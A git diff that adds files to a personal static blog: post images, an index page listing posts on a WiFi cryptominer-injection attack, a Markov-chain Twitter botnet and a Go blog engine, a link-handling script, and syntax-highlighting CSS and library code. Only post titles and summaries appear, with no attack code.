d0R+Fo9aM+aElXXfXfPtOOJnCbOXhY5rRHYH5SVzuj/SUti7WE7vF/VcUv9eqnReQeoFI0oGkZVtL6VI3ZXl1TspYlofiZUQBfxR56mVWTz8P/ArsvnVhec3EGwyYpGFmEFoqXb2/tjrnFIo7dRtzhS9r0i7lC2c2YeunSGafc8fpoQz0sE/E8x4BukwQfedBI+JM2v5Xw8He/EThdHMm7eHp+25X1cB6GJ5G9nx+hwoR0YPGA+P+9hLLF1p9dbS/08UnkLXH4OjJcKm4uiPRJg7Doj5cMT2FdF7GlNwgqXBXozuchVFpwi7S8fFveHlsvoU+Kdk9Y8B3joDTwXeUt+rywGPLeDfNgUpLZwvor4U5RQUWNGUcLJuz+Roze5ySN0zqzB/5FDH3rcuJcLwBGn7+77iGexwONQcBzZ8h/sKPGF/+w3ec8cfNLzMxZ59/LkUeH0WPQEPMCjP3DPB+tQwt0lasy9k03bQfq10rm3fxb9Z+K80GHDyqLtDiB5ADFKcpupJAGvQ5qzMPrRHlCtvJn6svKGLA2+Si8eq8EUuti9vfkV+xKQQy4ypvNk0NZUxMAOcb377WEU0CXw3Cknk0TiNViEKcbJKiRu5bhRTz4883/Ehza+DKPTg44QYE5SiNESBG4aIBmGwCj1o9QNQTAEO0iBBKVjTIA7cANpREmIoJaEDFj/EXSvUIqjBITAMAj/AMAfMCW0JzKtrfls77UmhBPPNdNxD433TZi86c97D3gyhZUvSN0LfPIiETiBwraT4TPvYMafBlHE+MvW8jcElWn1aoVWwJOFPna6H1xhz5MuRhjx7wp6HzFA9/gTdScfjz/z49b8= \ No newline at end of file diff --git a/public/img/posts/flock-botnet/markovchain.png b/public/img/posts/flock-botnet/markovchain.png new file mode 100644 index 0000000..8ff246a Binary files /dev/null and b/public/img/posts/flock-botnet/markovchain.png differ diff --git a/public/img/posts/flock-botnet/progressbarMarkov.gif b/public/img/posts/flock-botnet/progressbarMarkov.gif new file mode 100644 index 0000000..7479f78 Binary files /dev/null and b/public/img/posts/flock-botnet/progressbarMarkov.gif differ diff --git a/public/img/posts/flock-botnet/steps.png b/public/img/posts/flock-botnet/steps.png new file mode 100644 index 0000000..2d15184 Binary files /dev/null and b/public/img/posts/flock-botnet/steps.png differ diff --git a/public/img/posts/flock-botnet/terminal00.png b/public/img/posts/flock-botnet/terminal00.png new file mode 100755 index 0000000..cd5692b Binary files /dev/null and b/public/img/posts/flock-botnet/terminal00.png differ diff --git a/public/index.html b/public/index.html new file mode 100644 index 0000000..206f256 --- /dev/null +++ b/public/index.html @@ -0,0 +1,117 @@ + + + + + + + ArnauCube - Blog + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+

CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests

+ +

The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.

+ +

2018-01-04

+ +
+
+ +
+

Auto generated tweets from Markov chains

+ +

Developing a twitter botnet with autonomous bots replying tweets with text generated based on probabilities in Markov chains

+ +

2017-12-29

+ +
+
+ +
+

Static blog template engine implementation in Go

+ +

How has this blog been made? In this post we will see how to develop a minimalistic static blog template engine with Go.

+ +

2017-12-26

+ +
+
+ +
+
+ + + + + + + + + + + + + + diff --git a/public/js/external-links.js b/public/js/external-links.js new file mode 100644 index 0000000..35753b0 --- /dev/null +++ b/public/js/external-links.js @@ -0,0 +1,35 @@ +// Works like jQuery's $(document).ready. +// Supports IE8+. Courtesy of http://youmightnotneedjquery.com/ +function ready(fn) { + if (document.readyState != 'loading') { + fn(); + } else if (document.addEventListener) { + document.addEventListener('DOMContentLoaded', fn); + } else { + document.attachEvent('onreadystatechange', function() { + if (document.readyState != 'loading') + fn(); + }); + } +} + +ready(function() { + + var website = window.location.hostname; + + var internalLinkRegex = new RegExp('^((((http:\\/\\/|https:\\/\\/)(www\\.)?)?' + + website + + ')|(localhost:\\d{4})|(\\/.*))(\\/.*)?$', ''); + + var anchorEls = document.querySelectorAll('a'); + var anchorElsLength = anchorEls.length; + + for (var i = 0; i < anchorElsLength; i++) { + var anchorEl = anchorEls[i]; + var href = anchorEl.getAttribute('href'); + + if (!internalLinkRegex.test(href)) { + anchorEl.setAttribute('target', '_blank'); + } + } +}); diff --git a/public/js/highlightjs/atom-one-dark.css b/public/js/highlightjs/atom-one-dark.css new file mode 100644 index 0000000..1616aaf --- /dev/null +++ b/public/js/highlightjs/atom-one-dark.css @@ -0,0 +1,96 @@ +/* + +Atom One Dark by Daniel Gamage +Original One Dark Syntax theme from https://github.com/atom/one-dark-syntax + +base: #282c34 +mono-1: #abb2bf +mono-2: #818896 +mono-3: #5c6370 +hue-1: #56b6c2 +hue-2: #61aeee +hue-3: #c678dd +hue-4: #98c379 +hue-5: #e06c75 +hue-5-2: #be5046 +hue-6: #d19a66 +hue-6-2: #e6c07b + +*/ + +.hljs { + display: block; + overflow-x: auto; + padding: 0.5em; + color: #abb2bf; + background: #282c34; +} + +.hljs-comment, +.hljs-quote { + color: #5c6370; + font-style: italic; +} + +.hljs-doctag, +.hljs-keyword, +.hljs-formula { + color: #c678dd; +} + +.hljs-section, +.hljs-name, +.hljs-selector-tag, +.hljs-deletion, +.hljs-subst { + color: #e06c75; +} + +.hljs-literal { + color: #56b6c2; +} + +.hljs-string, +.hljs-regexp, +.hljs-addition, +.hljs-attribute, +.hljs-meta-string { + color: #98c379; +} + +.hljs-built_in, +.hljs-class .hljs-title { + color: #e6c07b; +} + +.hljs-attr, +.hljs-variable, +.hljs-template-variable, +.hljs-type, +.hljs-selector-class, +.hljs-selector-attr, +.hljs-selector-pseudo, +.hljs-number { + color: #d19a66; +} + +.hljs-symbol, +.hljs-bullet, +.hljs-link, +.hljs-meta, +.hljs-selector-id, +.hljs-title { + color: #61aeee; +} + +.hljs-emphasis { + font-style: italic; +} + +.hljs-strong { + font-weight: bold; +} + +.hljs-link { + text-decoration: underline; +} diff --git a/public/js/highlightjs/gruvbox-dark.css b/public/js/highlightjs/gruvbox-dark.css new file mode 100644 index 0000000..f563811 --- /dev/null +++ b/public/js/highlightjs/gruvbox-dark.css @@ -0,0 +1,108 @@ +/* + +Gruvbox style (dark) (c) Pavel Pertsev (original style at https://github.com/morhetz/gruvbox) + +*/ + +.hljs { + display: block; + overflow-x: auto; + padding: 0.5em; + background: #282828; +} + +.hljs, +.hljs-subst { + color: #ebdbb2; +} + +/* Gruvbox Red */ +.hljs-deletion, +.hljs-formula, +.hljs-keyword, +.hljs-link, +.hljs-selector-tag { + color: #fb4934; +} + +/* Gruvbox Blue */ +.hljs-built_in, +.hljs-emphasis, +.hljs-name, +.hljs-quote, +.hljs-strong, +.hljs-title, +.hljs-variable { + color: #83a598; +} + +/* Gruvbox Yellow */ +.hljs-attr, +.hljs-params, +.hljs-template-tag, +.hljs-type { + color: #fabd2f; +} + +/* Gruvbox Purple */ +.hljs-builtin-name, +.hljs-doctag, +.hljs-literal, +.hljs-number { + color: #8f3f71; +} + +/* Gruvbox Orange */ +.hljs-code, +.hljs-meta, +.hljs-regexp, +.hljs-selector-id, +.hljs-template-variable { + color: #fe8019; +} + +/* Gruvbox Green */ +.hljs-addition, +.hljs-meta-string, +.hljs-section, +.hljs-selector-attr, +.hljs-selector-class, +.hljs-string, +.hljs-symbol { + color: #b8bb26; +} + +/* Gruvbox Aqua */ +.hljs-attribute, +.hljs-bullet, +.hljs-class, +.hljs-function, +.hljs-function .hljs-keyword, +.hljs-meta-keyword, +.hljs-selector-pseudo, +.hljs-tag { + color: #8ec07c; +} + +/* Gruvbox Gray */ +.hljs-comment { + color: #928374; +} + +/* Gruvbox Purple */ +.hljs-link_label, +.hljs-literal, +.hljs-number { + color: #d3869b; +} + +.hljs-comment, +.hljs-emphasis { + font-style: italic; +} + +.hljs-section, +.hljs-strong, +.hljs-tag { + font-weight: bold; +} diff --git a/public/js/highlightjs/gruvbox-light.css b/public/js/highlightjs/gruvbox-light.css new file mode 100644 index 0000000..ff45468 --- /dev/null +++ b/public/js/highlightjs/gruvbox-light.css @@ -0,0 +1,108 @@ +/* + +Gruvbox style (light) (c) Pavel Pertsev (original style at https://github.com/morhetz/gruvbox) + +*/ + +.hljs { + display: block; + overflow-x: auto; + padding: 0.5em; + background: #fbf1c7; +} + +.hljs, +.hljs-subst { + color: #3c3836; +} + +/* Gruvbox Red */ +.hljs-deletion, +.hljs-formula, +.hljs-keyword, +.hljs-link, +.hljs-selector-tag { + color: #9d0006; +} + +/* Gruvbox Blue */ +.hljs-built_in, +.hljs-emphasis, +.hljs-name, +.hljs-quote, +.hljs-strong, +.hljs-title, +.hljs-variable { + color: #076678; +} + +/* Gruvbox Yellow */ +.hljs-attr, +.hljs-params, +.hljs-template-tag, +.hljs-type { + color: #b57614; +} + +/* Gruvbox Purple */ +.hljs-builtin-name, +.hljs-doctag, +.hljs-literal, +.hljs-number { + color: #8f3f71; +} + +/* Gruvbox Orange */ +.hljs-code, +.hljs-meta, +.hljs-regexp, +.hljs-selector-id, +.hljs-template-variable { + color: #af3a03; +} + +/* Gruvbox Green */ +.hljs-addition, +.hljs-meta-string, +.hljs-section, +.hljs-selector-attr, +.hljs-selector-class, +.hljs-string, +.hljs-symbol { + color: #79740e; +} + +/* Gruvbox Aqua */ +.hljs-attribute, +.hljs-bullet, +.hljs-class, +.hljs-function, +.hljs-function .hljs-keyword, +.hljs-meta-keyword, +.hljs-selector-pseudo, +.hljs-tag { + color: #427b58; +} + +/* Gruvbox Gray */ +.hljs-comment { + color: #928374; +} + +/* Gruvbox Purple */ +.hljs-link_label, +.hljs-literal, +.hljs-number { + color: #8f3f71; +} + +.hljs-comment, +.hljs-emphasis { + font-style: italic; +} + +.hljs-section, +.hljs-strong, +.hljs-tag { + font-weight: bold; +} diff --git a/public/js/highlightjs/highlight.pack.js b/public/js/highlightjs/highlight.pack.js new file mode 100644 index 0000000..fbfaf43 --- /dev/null +++ b/public/js/highlightjs/highlight.pack.js @@ -0,0 +1,2 @@ +/*! highlight.js v9.12.0 | BSD3 License | git.io/hljslicense */ +!function(e){var n="object"==typeof window&&window||"object"==typeof self&&self;"undefined"!=typeof exports?e(exports):n&&(n.hljs=e({}),"function"==typeof define&&define.amd&&define([],function(){return n.hljs}))}(function(e){function n(e){return e.replace(/&/g,"&").replace(//g,">")}function t(e){return e.nodeName.toLowerCase()}function r(e,n){var t=e&&e.exec(n);return t&&0===t.index}function a(e){return k.test(e)}function i(e){var n,t,r,i,o=e.className+" ";if(o+=e.parentNode?e.parentNode.className:"",t=B.exec(o))return w(t[1])?t[1]:"no-highlight";for(o=o.split(/\s+/),n=0,r=o.length;r>n;n++)if(i=o[n],a(i)||w(i))return i}function o(e){var n,t={},r=Array.prototype.slice.call(arguments,1);for(n in e)t[n]=e[n];return r.forEach(function(e){for(n in e)t[n]=e[n]}),t}function u(e){var n=[];return function r(e,a){for(var i=e.firstChild;i;i=i.nextSibling)3===i.nodeType?a+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:a,node:i}),a=r(i,a),t(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:a,node:i}));return a}(e,0),n}function c(e,r,a){function i(){return e.length&&r.length?e[0].offset!==r[0].offset?e[0].offset"}function u(e){s+=""}function c(e){("start"===e.event?o:u)(e.node)}for(var l=0,s="",f=[];e.length||r.length;){var g=i();if(s+=n(a.substring(l,g[0].offset)),l=g[0].offset,g===e){f.reverse().forEach(u);do c(g.splice(0,1)[0]),g=i();while(g===e&&g.length&&g[0].offset===l);f.reverse().forEach(o)}else"start"===g[0].event?f.push(g[0].node):f.pop(),c(g.splice(0,1)[0])}return s+n(a.substr(l))}function l(e){return e.v&&!e.cached_variants&&(e.cached_variants=e.v.map(function(n){return o(e,{v:null},n)})),e.cached_variants||e.eW&&[o(e)]||[e]}function s(e){function n(e){return e&&e.source||e}function t(t,r){return new RegExp(n(t),"m"+(e.cI?"i":"")+(r?"g":""))}function r(a,i){if(!a.compiled){if(a.compiled=!0,a.k=a.k||a.bK,a.k){var o={},u=function(n,t){e.cI&&(t=t.toLowerCase()),t.split(" ").forEach(function(e){var t=e.split("|");o[t[0]]=[n,t[1]?Number(t[1]):1]})};"string"==typeof a.k?u("keyword",a.k):x(a.k).forEach(function(e){u(e,a.k[e])}),a.k=o}a.lR=t(a.l||/\w+/,!0),i&&(a.bK&&(a.b="\\b("+a.bK.split(" ").join("|")+")\\b"),a.b||(a.b=/\B|\b/),a.bR=t(a.b),a.e||a.eW||(a.e=/\B|\b/),a.e&&(a.eR=t(a.e)),a.tE=n(a.e)||"",a.eW&&i.tE&&(a.tE+=(a.e?"|":"")+i.tE)),a.i&&(a.iR=t(a.i)),null==a.r&&(a.r=1),a.c||(a.c=[]),a.c=Array.prototype.concat.apply([],a.c.map(function(e){return l("self"===e?a:e)})),a.c.forEach(function(e){r(e,a)}),a.starts&&r(a.starts,i);var c=a.c.map(function(e){return e.bK?"\\.?("+e.b+")\\.?":e.b}).concat([a.tE,a.i]).map(n).filter(Boolean);a.t=c.length?t(c.join("|"),!0):{exec:function(){return null}}}}r(e)}function f(e,t,a,i){function o(e,n){var t,a;for(t=0,a=n.c.length;a>t;t++)if(r(n.c[t].bR,e))return n.c[t]}function u(e,n){if(r(e.eR,n)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?u(e.parent,n):void 0}function c(e,n){return!a&&r(n.iR,e)}function l(e,n){var t=N.cI?n[0].toLowerCase():n[0];return e.k.hasOwnProperty(t)&&e.k[t]}function p(e,n,t,r){var a=r?"":I.classPrefix,i='',i+n+o}function h(){var e,t,r,a;if(!E.k)return n(k);for(a="",t=0,E.lR.lastIndex=0,r=E.lR.exec(k);r;)a+=n(k.substring(t,r.index)),e=l(E,r),e?(B+=e[1],a+=p(e[0],n(r[0]))):a+=n(r[0]),t=E.lR.lastIndex,r=E.lR.exec(k);return a+n(k.substr(t))}function d(){var e="string"==typeof E.sL;if(e&&!y[E.sL])return n(k);var t=e?f(E.sL,k,!0,x[E.sL]):g(k,E.sL.length?E.sL:void 0);return E.r>0&&(B+=t.r),e&&(x[E.sL]=t.top),p(t.language,t.value,!1,!0)}function b(){L+=null!=E.sL?d():h(),k=""}function v(e){L+=e.cN?p(e.cN,"",!0):"",E=Object.create(e,{parent:{value:E}})}function m(e,n){if(k+=e,null==n)return b(),0;var t=o(n,E);if(t)return t.skip?k+=n:(t.eB&&(k+=n),b(),t.rB||t.eB||(k=n)),v(t,n),t.rB?0:n.length;var r=u(E,n);if(r){var a=E;a.skip?k+=n:(a.rE||a.eE||(k+=n),b(),a.eE&&(k=n));do E.cN&&(L+=C),E.skip||(B+=E.r),E=E.parent;while(E!==r.parent);return r.starts&&v(r.starts,""),a.rE?0:n.length}if(c(n,E))throw new Error('Illegal lexeme "'+n+'" for mode "'+(E.cN||"")+'"');return k+=n,n.length||1}var N=w(e);if(!N)throw new Error('Unknown language: "'+e+'"');s(N);var R,E=i||N,x={},L="";for(R=E;R!==N;R=R.parent)R.cN&&(L=p(R.cN,"",!0)+L);var k="",B=0;try{for(var M,j,O=0;;){if(E.t.lastIndex=O,M=E.t.exec(t),!M)break;j=m(t.substring(O,M.index),M[0]),O=M.index+j}for(m(t.substr(O)),R=E;R.parent;R=R.parent)R.cN&&(L+=C);return{r:B,value:L,language:e,top:E}}catch(T){if(T.message&&-1!==T.message.indexOf("Illegal"))return{r:0,value:n(t)};throw T}}function g(e,t){t=t||I.languages||x(y);var r={r:0,value:n(e)},a=r;return t.filter(w).forEach(function(n){var t=f(n,e,!1);t.language=n,t.r>a.r&&(a=t),t.r>r.r&&(a=r,r=t)}),a.language&&(r.second_best=a),r}function p(e){return I.tabReplace||I.useBR?e.replace(M,function(e,n){return I.useBR&&"\n"===e?"
":I.tabReplace?n.replace(/\t/g,I.tabReplace):""}):e}function h(e,n,t){var r=n?L[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),-1===e.indexOf(r)&&a.push(r),a.join(" ").trim()}function d(e){var n,t,r,o,l,s=i(e);a(s)||(I.useBR?(n=document.createElementNS("http://www.w3.org/1999/xhtml","div"),n.innerHTML=e.innerHTML.replace(/\n/g,"").replace(//g,"\n")):n=e,l=n.textContent,r=s?f(s,l,!0):g(l),t=u(n),t.length&&(o=document.createElementNS("http://www.w3.org/1999/xhtml","div"),o.innerHTML=r.value,r.value=c(t,u(o),l)),r.value=p(r.value),e.innerHTML=r.value,e.className=h(e.className,s,r.language),e.result={language:r.language,re:r.r},r.second_best&&(e.second_best={language:r.second_best.language,re:r.second_best.r}))}function b(e){I=o(I,e)}function v(){if(!v.called){v.called=!0;var e=document.querySelectorAll("pre code");E.forEach.call(e,d)}}function m(){addEventListener("DOMContentLoaded",v,!1),addEventListener("load",v,!1)}function N(n,t){var r=y[n]=t(e);r.aliases&&r.aliases.forEach(function(e){L[e]=n})}function R(){return x(y)}function w(e){return e=(e||"").toLowerCase(),y[e]||y[L[e]]}var E=[],x=Object.keys,y={},L={},k=/^(no-?highlight|plain|text)$/i,B=/\blang(?:uage)?-([\w-]+)\b/i,M=/((^(<[^>]+>|\t|)+|(?:\n)))/gm,C="
",I={classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:void 0};return e.highlight=f,e.highlightAuto=g,e.fixMarkup=p,e.highlightBlock=d,e.configure=b,e.initHighlighting=v,e.initHighlightingOnLoad=m,e.registerLanguage=N,e.listLanguages=R,e.getLanguage=w,e.inherit=o,e.IR="[a-zA-Z]\\w*",e.UIR="[a-zA-Z_]\\w*",e.NR="\\b\\d+(\\.\\d+)?",e.CNR="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",e.BNR="\\b(0b[01]+)",e.RSR="!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",e.BE={b:"\\\\[\\s\\S]",r:0},e.ASM={cN:"string",b:"'",e:"'",i:"\\n",c:[e.BE]},e.QSM={cN:"string",b:'"',e:'"',i:"\\n",c:[e.BE]},e.PWM={b:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},e.C=function(n,t,r){var a=e.inherit({cN:"comment",b:n,e:t,c:[]},r||{});return a.c.push(e.PWM),a.c.push({cN:"doctag",b:"(?:TODO|FIXME|NOTE|BUG|XXX):",r:0}),a},e.CLCM=e.C("//","$"),e.CBCM=e.C("/\\*","\\*/"),e.HCM=e.C("#","$"),e.NM={cN:"number",b:e.NR,r:0},e.CNM={cN:"number",b:e.CNR,r:0},e.BNM={cN:"number",b:e.BNR,r:0},e.CSSNM={cN:"number",b:e.NR+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",r:0},e.RM={cN:"regexp",b:/\//,e:/\/[gimuy]*/,i:/\n/,c:[e.BE,{b:/\[/,e:/\]/,r:0,c:[e.BE]}]},e.TM={cN:"title",b:e.IR,r:0},e.UTM={cN:"title",b:e.UIR,r:0},e.METHOD_GUARD={b:"\\.\\s*"+e.UIR,r:0},e});hljs.registerLanguage("xml",function(s){var e="[A-Za-z0-9\\._:-]+",t={eW:!0,i:/`]+/}]}]}]};return{aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist"],cI:!0,c:[{cN:"meta",b:"",r:10,c:[{b:"\\[",e:"\\]"}]},s.C("",{r:10}),{b:"<\\!\\[CDATA\\[",e:"\\]\\]>",r:10},{b:/<\?(php)?/,e:/\?>/,sL:"php",c:[{b:"/\\*",e:"\\*/",skip:!0}]},{cN:"tag",b:"|$)",e:">",k:{name:"style"},c:[t],starts:{e:"",rE:!0,sL:["css","xml"]}},{cN:"tag",b:"|$)",e:">",k:{name:"script"},c:[t],starts:{e:"",rE:!0,sL:["actionscript","javascript","handlebars","xml"]}},{cN:"meta",v:[{b:/<\?xml/,e:/\?>/,r:10},{b:/<\?\w+/,e:/\?>/}]},{cN:"tag",b:"",c:[{cN:"name",b:/[^\/><\s]+/,r:0},t]}]}});hljs.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}| )",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}});hljs.registerLanguage("css",function(e){var c="[a-zA-Z-][a-zA-Z0-9_-]*",t={b:/[A-Z\_\.\-]+\s*:/,rB:!0,e:";",eW:!0,c:[{cN:"attribute",b:/\S/,e:":",eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\w-]+\(/,rB:!0,c:[{cN:"built_in",b:/[\w-]+/},{b:/\(/,e:/\)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:"number",b:"#[0-9A-Fa-f]+"},{cN:"meta",b:"!important"}]}}]};return{cI:!0,i:/[=\/|'\$]/,c:[e.CBCM,{cN:"selector-id",b:/#[A-Za-z0-9_-]+/},{cN:"selector-class",b:/\.[A-Za-z0-9_-]+/},{cN:"selector-attr",b:/\[/,e:/\]/,i:"$"},{cN:"selector-pseudo",b:/:(:)?[a-zA-Z0-9\_\-\+\(\)"'.]+/},{b:"@(font-face|page)",l:"[a-z-]+",k:"font-face page"},{b:"@",e:"[{;]",i:/:/,c:[{cN:"keyword",b:/\w+/},{b:/\s/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:"selector-tag",b:c,r:0},{b:"{",e:"}",i:/\S/,c:[e.CBCM,t]}]}});hljs.registerLanguage("python",function(e){var r={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False",built_in:"Ellipsis NotImplemented"},b={cN:"meta",b:/^(>>>|\.\.\.) /},c={cN:"subst",b:/\{/,e:/\}/,k:r,i:/#/},a={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[b],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[b],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[b,c]},{b:/(fr|rf|f)"""/,e:/"""/,c:[b,c]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[c]},{b:/(fr|rf|f)"/,e:/"/,c:[c]},e.ASM,e.QSM]},s={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},i={cN:"params",b:/\(/,e:/\)/,c:["self",b,s,a]};return c.c=[a,s,b],{aliases:["py","gyp"],k:r,i:/(<\/|->|\?)|=>/,c:[b,s,a,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,i,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}});hljs.registerLanguage("cpp",function(t){var e={cN:"keyword",b:"\\b[a-z\\d_]*_t\\b"},r={cN:"string",v:[{b:'(u8?|U)?L?"',e:'"',i:"\\n",c:[t.BE]},{b:'(u8?|U)?R"',e:'"',c:[t.BE]},{b:"'\\\\?.",e:"'",i:"."}]},s={cN:"number",v:[{b:"\\b(0b[01']+)"},{b:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{b:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],r:0},i={cN:"meta",b:/#\s*[a-z]+\b/,e:/$/,k:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef include"},c:[{b:/\\\n/,r:0},t.inherit(r,{cN:"meta-string"}),{cN:"meta-string",b:/<[^\n>]*>/,e:/$/,i:"\\n"},t.CLCM,t.CBCM]},a=t.IR+"\\s*\\(",c={keyword:"int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not",built_in:"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr",literal:"true false nullptr NULL"},n=[e,t.CLCM,t.CBCM,s,r];return{aliases:["c","cc","h","c++","h++","hpp"],k:c,i:"",k:c,c:["self",e]},{b:t.IR+"::",k:c},{v:[{b:/=/,e:/;/},{b:/\(/,e:/\)/},{bK:"new throw return else",e:/;/}],k:c,c:n.concat([{b:/\(/,e:/\)/,k:c,c:n.concat(["self"]),r:0}]),r:0},{cN:"function",b:"("+t.IR+"[\\*&\\s]+)+"+a,rB:!0,e:/[{;=]/,eE:!0,k:c,i:/[^\w\s\*&]/,c:[{b:a,rB:!0,c:[t.TM],r:0},{cN:"params",b:/\(/,e:/\)/,k:c,r:0,c:[t.CLCM,t.CBCM,r,s,e]},t.CLCM,t.CBCM,i]},{cN:"class",bK:"class struct",e:/[{;:]/,c:[{b://,c:["self"]},t.TM]}]),exports:{preprocessor:i,strings:r,k:c}}});hljs.registerLanguage("go",function(e){var t={keyword:"break default func interface select case map struct chan else goto package switch const fallthrough if range type continue for import return var go defer bool byte complex64 complex128 float32 float64 int8 int16 int32 int64 string uint8 uint16 uint32 uint64 int uint uintptr rune",literal:"true false iota nil",built_in:"append cap close complex copy imag len make new panic print println real recover delete"};return{aliases:["golang"],k:t,i:"%$#]",starts:{e:"$",sL:"bash"}}]}});hljs.registerLanguage("javascript",function(e){var r="[A-Za-z$_][0-9A-Za-z$_]*",t={keyword:"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as",literal:"true false null undefined NaN Infinity",built_in:"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise"},a={cN:"number",v:[{b:"\\b(0[bB][01]+)"},{b:"\\b(0[oO][0-7]+)"},{b:e.CNR}],r:0},n={cN:"subst",b:"\\$\\{",e:"\\}",k:t,c:[]},c={cN:"string",b:"`",e:"`",c:[e.BE,n]};n.c=[e.ASM,e.QSM,c,a,e.RM];var s=n.c.concat([e.CBCM,e.CLCM]);return{aliases:["js","jsx"],k:t,c:[{cN:"meta",r:10,b:/^\s*['"]use (strict|asm)['"]/},{cN:"meta",b:/^#!/,e:/$/},e.ASM,e.QSM,c,e.CLCM,e.CBCM,a,{b:/[{,]\s*/,r:0,c:[{b:r+"\\s*:",rB:!0,r:0,c:[{cN:"attr",b:r,r:0}]}]},{b:"("+e.RSR+"|\\b(case|return|throw)\\b)\\s*",k:"return throw 